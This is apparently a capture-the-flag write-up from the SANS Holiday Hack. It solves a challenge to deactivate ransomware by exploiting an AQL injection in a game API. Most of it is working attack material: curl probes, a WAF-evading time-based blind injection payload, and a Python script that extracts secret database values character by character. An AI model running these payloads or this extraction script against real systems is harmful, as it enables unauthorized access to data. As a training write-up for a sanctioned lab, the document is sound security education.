oxdf@hacky$ curl 'https://api.frostbit.app/api/v1/frostbitadmin/bot/e29e6e6f-2ab4-4b74-b6ee-be791b7b55d4/deactivate'
{"error":"Invalid Request"}
Much like the rest of the API, adding a GET parameter setting debug=true
makes for better messages:
oxdf@hacky$ curl 'https://api.frostbit.app/api/v1/frostbitadmin/bot/e29e6e6f-2ab4-4b74-b6ee-be791b7b55d4/deactivate?debug=true'
{"debug":true,"error":"Invalid Key"}
Adding a key doesn’t help:
oxdf@hacky$ curl 'https://api.frostbit.app/api/v1/frostbitadmin/bot/e29e6e6f-2ab4-4b74-b6ee-be791b7b55d4/deactivate?debug=true' -H 'X-API-KEY: 0xdf'
{"debug":true,"error":"Invalid Key"}
oxdf@hacky$ curl 'https://api.frostbit.app/api/v1/frostbitadmin/bot/e29e6e6f-2ab4-4b74-b6ee-be791b7b55d4/deactivate?debug=true' -H 'X-API-KEY: aaaaaaaaaaaaaa'
{"debug":true,"error":"Invalid Key"}
Injection POC
I’ll try setting the X-API-KEY
to a single quote to check for injection:
oxdf@hacky$ curl -H "X-API-KEY: '" 'https://api.frostbit.app/api/v1/frostbitadmin/bot/e29e6e6f-2ab4-4b74-b6ee-be791b7b55d4/deactivate?debug=true'
{"debug":true,"error":"Timeout or error in query:\nFOR doc IN config\n FILTER doc.<key_name_omitted> == '{user_supplied_x_api_key}'\n <other_query_lines_omitted>\n RETURN doc"}
With debug
, there’s a verbose error message that leaks part of the query being run.
That language is ArangoDB. If I didn’t find that already above, any AI can identify it based on the query in the error message:
WAF
In trying to exploit this injection, I’ll find there is some kind of web application firewall (WAF) running that blocks certain words (likely implemented as just a part of the back end Python application).
For example, “;” is blocked:
oxdf@hacky$ curl -H "X-API-KEY: ;" 'https://api.frostbit.app/api/v1/frostbitadmin/bot/96600581-1981-4967-82aa-b88216a68348/deactivate?debug=true'
{"debug":true,"error":"Request Blocked"}
Looking more closely, it returns an HTTP 403 forbidden:
oxdf@hacky$ curl -I -H "X-API-KEY: ;" 'https://api.frostbit.app/api/v1/frostbitadmin/bot/96600581-1981-4967-82aa-b88216a68348/deactivate?debug=true'
HTTP/2 403
server: nginx/1.27.1
date: Fri, 03 Jan 2025 21:56:21 GMT
content-type: application/json
content-length: 41
strict-transport-security: max-age=31536000
*
, /
, and \
are also blocked, as are keywords used in AQL such as FOR
, LET
, RETURN
, and FILTER
.
Injection
POC
I’m able to get a time-based boolean injection working using the ternary operator. For example:
oxdf@hacky$ time curl -H "X-API-KEY: ' OR true ? SLEEP(5) : 'a" 'https://api.frostbit.app/api/v1/frostbitadmin/bot/96600581-1981-4967-82aa-b88216a68348/deactivate?debug=true'
{"debug":true,"error":"Timeout or error in query:\nFOR doc IN config\n FILTER doc.<key_name_omitted> == '{user_supplied_x_api_key}'\n <other_query_lines_omitted>\n RETURN doc"}
real 0m2.136s
user 0m0.032s
sys 0m0.009s
oxdf@hacky$ time curl -H "X-API-KEY: ' OR false ? SLEEP(5) : 'a" 'https://api.frostbit.app/api/v1/frostbitadmin/bot/96600581-1981-4967-82aa-b88216a68348/deactivate?debug=true'
{"debug":true,"error":"Invalid Key"}
real 0m0.137s
user 0m0.031s
sys 0m0.012s
The reason it’s two seconds and not five is that the server has a two second timeout configured. Still, that’s enough to tell the difference.
Read POC
To make this valuable, I need to ask questions of the database that return true or false, and replace true
/ false
in the above examples with that question. If it returns in a little over two seconds, it’s true. If it returns much faster, it’s false.
The first thing I need to find is the name of the redacted key name, doc.<key_name_omitted>
. I’ll use SUBSTRING(ATTRIBUTES(doc)[0], 0, 1) == '<c>'
as that test, where <c>
is different characters. This gets the first attribute from doc
and uses SUBSTRING
to get the first character.
Some manual experimentation shows it’s “d”:
oxdf@hacky$ time curl -H "X-API-KEY: ' OR SUBSTRING(ATTRIBUTES(doc)[0], 0, 1) == 'a' ? SLEEP(5) : 'a" 'https://api.frostbit.app/api/v1/frostbitadmin/bot/96600581-1981-4967-82aa-b88216a68348/deactivate?debug=true'
{"debug":true,"error":"Invalid Key"}
real 0m0.164s
user 0m0.029s
sys 0m0.008s
oxdf@hacky$ time curl -H "X-API-KEY: ' OR SUBSTRING(ATTRIBUTES(doc)[0], 0, 1) == 'd' ? SLEEP(5) : 'a" 'https://api.frostbit.app/api/v1/frostbitadmin/bot/96600581-1981-4967-82aa-b88216a68348/deactivate?debug=true'
{"debug":true,"error":"Timeout or error in query:\nFOR doc IN config\n FILTER doc.<key_name_omitted> == '{user_supplied_x_api_key}'\n <other_query_lines_omitted>\n RETURN doc"}
real 0m2.137s
user 0m0.035s
sys 0m0.003s
I can update the SUBSTRING
call and see the second character is “e”:
oxdf@hacky$ time curl -H "X-API-KEY: ' OR SUBSTRING(ATTRIBUTES(doc)[0], 1, 1) == 'a' ? SLEEP(5) : 'a" 'https://api.frostbit.app/api/v1/frostbitadmin/bot/96600581-1981-4967-82aa-b88216a68348/deactivate?debug=true'
{"debug":true,"error":"Invalid Key"}
real 0m0.139s
user 0m0.020s
sys 0m0.010s
oxdf@hacky$ time curl -H "X-API-KEY: ' OR SUBSTRING(ATTRIBUTES(doc)[0], 1, 1) == 'e' ? SLEEP(5) : 'a" 'https://api.frostbit.app/api/v1/frostbitadmin/bot/96600581-1981-4967-82aa-b88216a68348/deactivate?debug=true'
{"debug":true,"error":"Timeout or error in query:\nFOR doc IN config\n FILTER doc.<key_name_omitted> == '{user_supplied_x_api_key}'\n <other_query_lines_omitted>\n RETURN doc"}
real 0m2.137s
user 0m0.021s
sys 0m0.009s
Python Read Key Name
I’ll write a simple Python script to get the key name completely:
import requests
import string
bot_uuid = '96600581-1981-4967-82aa-b88216a68348'
url = f'https://api.frostbit.app/api/v1/frostbitadmin/bot/{bot_uuid}/deactivate?debug=true'
result = ''
while True:
for c in string.printable[:-6]:
api_key = f"' OR SUBSTRING(ATTRIBUTES(doc)[0], {len(result)}, 1) == '{c}' ? SLEEP(5) : 'a"
resp = requests.get(url, headers={"X-API-KEY": api_key})
print(f"\r{result}{c}", end="", flush=True)
if resp.elapsed.total_seconds() > 2:
result += c
break
else:
break
print(f"\r{result} ")
It uses nested loops. The inner for
loop checks each printable character (ignoring the last 6 whitespace characters), and when the resp.elapsed.total_seconds()
is greater than 2, it adds the character to the result
string and breaks that loop. Then it hits the while True
and starts the next character.
If it gets to the end of the for
loop, then it runs the else
, which breaks out of the while True
and prints the result.
It uses \r
prints to show the scan as it runs:
The key name is deactivate_api_key
.
Python Generic Read
I’ll update the script to take in an argument as to what to read:
import requests
import string
import sys
bot_uuid = '96600581-1981-4967-82aa-b88216a68348'
url = f'https://api.frostbit.app/api/v1/frostbitadmin/bot/{bot_uuid}/deactivate?debug=true'
target = sys.argv[1] if len(sys.argv) > 1 else "ATTRIBUTES(doc)[0]"
result = ''
while True:
for c in string.printable[:-6]:
api_key = f"' OR SUBSTRING({target}, {len(result)}, 1) == '{c}' ? SLEEP(5) : 'a"
resp = requests.get(url, headers={"X-API-KEY": api_key})
print(f"\r{result}{c}", end="", flush=True)
if resp.elapsed.total_seconds() > 2:
result += c
break
else:
break
print(f"\r{result} ")
Now I can give any AQL expression that I want to read. I’ll read the value of doc.deactivate_api_key
:
oxdf@hacky$ time python brute_injection.py doc.deactivate_api_key
abe7a6ad-715e-4e6a-901b-c9279a964f91
real 2m53.657s
user 0m17.524s
sys 0m0.315s
Deactivate Ransomware
Now I can make that request natually:
oxdf@hacky$ curl -H "X-API-KEY: abe7a6ad-715e-4e6a-901b-c9279a964f91" 'https://api.frostbit.app/api/v1/frostbitadmin/bot/e29e6e6f-2ab4-4b74-b6ee-be791b7b55d4/deactivate?debug=true'
{"message":"Response status code: 200, Response body: {\"result\":\"success\",\"rid\":\"e29e6e6f-2ab4-4b74-b6ee-be791b7b55d4\",\"hash\":\"3ebe885c9f422509de9ca91eb2436efa62d2b89e862b9baf332844d4fff16cea\",\"uid\":\"78078\"}\nPOSTED WIN RESULTS FOR RID e29e6e6f-2ab4-4b74-b6ee-be791b7b55d4","status":"Deactivated"}
Visiting the page shows it has stopped the count down:
It still doesn’t show the key:
const debugData = "eyJ1dWlkIjogImUyOWU2ZTZmLTJhYjQtNGI3NC1iNmVlLWJlNzkxYjdiNTVkNCIsICJub25jZSI6ICJSRURBQ1RFRCIsICJlbmNyeXB0ZWRrZXkiOiAiUkVEQUNURUQiLCAiZGVhY3RpdmF0ZWQiOiBmYWxzZSwgICJldGltZSI6IDE3NjY1MzQ0MDB9";
const deactivated = true;
const decryptedkey = false;
But the objective is complete in my snowball / badge.
Beyond Root
Exploring a bit more, there’s are other attributes on the doc
object that can be leaked via this injection:
oxdf@hacky$ time python brute_injection.py 'ATTRIBUTES(doc)[1]'
_rev
real 0m46.477s
user 0m6.701s
sys 0m0.160s
oxdf@hacky$ time python brute_injection.py doc._rev
_ieE_hFC---
real 2m0.813s
user 0m15.565s
sys 0m0.315s
The other keys are:
Key | Value |
---|---|
_rev |
_ieE_hFC--- |
_key |
config |
_id |
config |
Outro
On solving the last challenge, the badge Story tab updates under Act III:
Thank you dear player for bringing peace and order back to the North Pole!
Please talk to Santa in the castle.
The door to the castle is now open:
Inside, Santa waits in the entrance hall used in previous KingleCons:
Santa
I thought the holidays were truly lost this year. I am so thankful you were here to right the wrongs of my misguided elves. I will ensure they never jeopardize the holidays again. This is the kind of behavior I expect from Jack Frost and his Trolls, not the elves.
But, I suppose I have fault in this as well, since it’s the first time I’ve been away at the start of the season, and after last year’s unconventional holidays.
Plus, I didn’t inform the elves ahead of time. Quite the lesson learned on my part. Even the best of us can always improve.
I know each faction had the best interest of the holidays at heart, even if their methods were misguided. It’s important to have empathy and forgiveness, especially during the holidays.
After all, the greatest gift we give AND receive is time spent with loved ones. Never forget that!
Now let’s put all this behind us and be merry. Until next year! Happy Holidays!